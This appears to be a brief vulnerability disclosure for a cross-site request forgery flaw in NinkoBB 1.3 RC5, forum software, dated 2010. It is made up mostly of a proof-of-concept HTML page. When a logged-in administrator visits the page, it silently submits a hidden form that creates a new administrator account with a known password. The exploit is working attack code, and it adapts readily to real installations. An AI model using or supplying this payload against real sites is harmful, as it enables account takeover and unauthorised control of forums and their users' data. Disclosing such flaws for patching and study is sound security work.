Search
Software Vulnerability Tested On Date
NinkoBB 1.3 RC5 Cross-site Request Forgery Windows Vista + XAMPP 7/7/2010
Description
A vulnerability in NinkoBB 1.3 RC5 can be exploited to create a new admin.
Proof of Concept
<html>
    <body onload="document.forms[0].submit()">
        <form method="POST" action="http://localhost/ninkobb/admin.php?a=users&edit=1">
            <input type="hidden" name="username" value="new_admin" />
            <input type="hidden" name="admin" value="on" />
            <input type="hidden" name="email" value="x@x.com" />
            <input type="hidden" name="npassword" value="Password1" />
            <input type="hidden" name="npassworda" value="Password1" />
            <input type="hidden" name="edit" value="submit" />
        </form>
    </body>
</html>